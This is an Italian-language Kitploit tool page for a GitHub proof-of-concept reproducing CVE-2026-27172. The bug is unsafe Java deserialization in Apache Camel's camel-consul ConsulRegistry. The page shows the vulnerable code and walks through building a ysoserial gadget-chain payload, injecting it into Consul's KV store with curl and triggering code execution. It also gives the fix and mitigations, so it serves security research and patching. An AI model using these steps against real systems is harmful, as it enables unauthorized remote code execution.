Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-27172 — Reproducer per CVE-2026-27172: deserializzazione Java di ConsulRegistry in Apache Camel camel-consul (RCE) | Kitploit
Strumenti/GitHubGitHub/oscerd/cve-2026-27172
Analisi delle VulnerabilitàExploitPenetration TestingApprendimento e FormazioneSviluppo PayloadBinary Exploitation
GitHuboscerd/cve-2026-27172

CVE-2026-27172

Reproducer per CVE-2026-27172: deserializzazione Java di ConsulRegistry in Apache Camel camel-consul (RCE)

Vedi Repository
1 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Riproduttore della vulnerabilità di deserializzazione di camel-consul ConsulRegistry (CVE-2026-27172)

Questo progetto dimostra una vulnerabilità di deserializzazione Java nel componente camel-consul di Apache Camel (ConsulRegistry), tracciata come CVE-2026-27172. Appartiene alla stessa classe di problemi di CVE-2024-22369, CVE-2024-23114 e CVE-2026-25747, ed è stata trascurata durante la correzione originaria di queste CVE.

Avviso: https://camel.apache.org/security/CVE-2026-27172.html

Riepilogo della vulnerabilità

ProprietàValore
Componentecamel-consul
Classe interessataorg.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize)
Metodi vulnerabililookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType()
CWECWE-502: Deserializzazione di dati non attendibili
ImpattoEsecuzione di codice remoto (RCE)
Versioni interessateDalla 3.0.0 precedente alla 4.14.6, e dalla 4.15.0 precedente alla 4.18.1
Versioni corrette4.14.6, 4.18.1, 4.19.0
JIRACAMEL-23029

Dettagli tecnici

ConsulRegistry utilizza il key/value store di Consul come registry Camel. Quando un bean viene cercato per nome, il valore memorizzato viene decodificato in Base64 e deserializzato con un ObjectInputStream grezzo e, nelle versioni interessate, senza alcun ObjectInputFilter:

root@kitploit:~
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
    kvClient = consul.keyValueClient();
    return kvClient.getValueAsString(key).map(result -> {
        byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
        return ConsulRegistryUtils.deserialize(postDecodedValue);   // no filter (affected)
    }).orElse(null);
}

// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        return in.readObject();   // NO FILTERING!
    }
}

Qualsiasi oggetto memorizzato nel KV store di Consul sotto una chiave che Camel cerca successivamente viene deserializzato. Un attaccante che può scrivere su quel percorso KV può inserire un payload a catena di gadget che viene eseguito quando avviene la ricerca nel registry.

Prerequisiti

  • Java 17+
  • Maven 3.8+
  • Un agente Consul in esecuzione (KV store) — ad es. tramite Docker
  • ysoserial (per la generazione del payload)

Passaggi per la riproduzione

Passo 1: Avviare Consul

root@kitploit:~
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0

Passo 2: Compilare e avviare l'applicazione

root@kitploit:~
mvn clean package -DskipTests
mvn spring-boot:run

Passo 3: Inizializzare la chiave del registry

root@kitploit:~
curl http://localhost:8080/exploit/init

Passo 4: Generare un payload malevolo

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

ConsulRegistry memorizza oggetti serializzati codificati in Base64, quindi il payload viene fornito come Base64.

Passo 5: Iniettare il payload nel KV di Consul

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" \
  --data-binary @payload.b64

Passo 6: Attivare la deserializzazione (RCE!)

root@kitploit:~
curl http://localhost:8080/exploit/trigger

lookupByName() legge il valore KV, lo decodifica in Base64 e lo deserializza — eseguendo la catena di gadget.

Passo 7: Verificare lo sfruttamento

root@kitploit:~
ls -la /tmp/pwned

Se il file /tmp/pwned esiste, lo sfruttamento è riuscito.

Vettori d'attacco

La vulnerabilità si attiva ogni volta che il registry risolve un bean:

  1. Riferimenti a bean — .to("bean:..."), bean(...), .process("...") per nome chiamano tutti lookupByName().
  2. Risoluzione all'avvio — bean risolti durante la costruzione delle route.
  3. Ricerca per tipo — findByType() / lookupByNameAndType() iterano le voci KV e le deserializzano.

Condizioni per lo sfruttamento

  1. Accesso in scrittura al KV store di Consul che supporta il registry:
    • Un cluster Consul condiviso o configurato in modo errato
    • Un token ACL Consul compromesso o con privilegi eccessivi
    • Un'altra vulnerabilità che fornisca una primitiva di scrittura sul KV
  2. Una libreria di gadget nel classpath:
    • commons-collections:3.2.1 (gadget CommonsCollections1-7)
    • Molte altre (vedi ysoserial)

Confronto con le CVE correlate

Correzione consigliata

La correzione (CAMEL-23029) aggiunge un ObjectInputFilter configurabile (predefinito java.**;org.apache.camel.**;!*) a ConsulRegistryUtils.deserialize ed espone un'opzione deserializationFilter per consentire l'inserimento in allow-list delle classi fidate:

root@kitploit:~
static Object deserialize(byte[] bytes, String deserializationFilter) {
    try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
        if (deserializationFilter != null) {
            in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
        }
        return in.readObject();
    }
}

Mitigazione

Fino all'aggiornamento a una versione corretta:

  1. Limitare l'accesso in scrittura al KV di Consul all'identità dell'applicazione Camel stessa (token ACL con privilegi minimi).
  2. Rimuovere le librerie di gadget: aggiornare o rimuovere librerie vulnerabili come commons-collections 3.x.
  3. Segmentazione di rete: isolare il cluster Consul su una rete affidabile.

File

root@kitploit:~
CVE-2026-27172/
├── pom.xml                          # Maven configuration (affected camel-consul version)
├── README.md                        # This file
└── src/main/
    ├── java/com/example/
    │   ├── Application.java          # Spring Boot entry point
    │   ├── ConsulRegistryRoute.java  # Camel route (disabled; shows real usage)
    │   └── ExploitController.java    # REST endpoints for the PoC
    └── resources/
        └── application.properties

Dichiarazione di esclusione di responsabilità

Questo riproduttore è fornito solo per ricerca sulla sicurezza e test autorizzati, per una vulnerabilità divulgata pubblicamente e corretta. Non usarlo contro sistemi senza autorizzazione esplicita.

Scarica lo strumento
AspettoCassandra (CVE-2024-23114)LevelDB (CVE-2026-25747)Consul (CVE-2026-27172)
Archivio sottostanteTabella CassandraFile LevelDBKV store di Consul
ObjectInputFilter (prima della correzione)nessunonessunonessuno
Correzioneallow-list ObjectInputFilterallow-list ObjectInputFilterallow-list ObjectInputFilter
JIRACAMEL-20306CAMEL-22821CAMEL-23029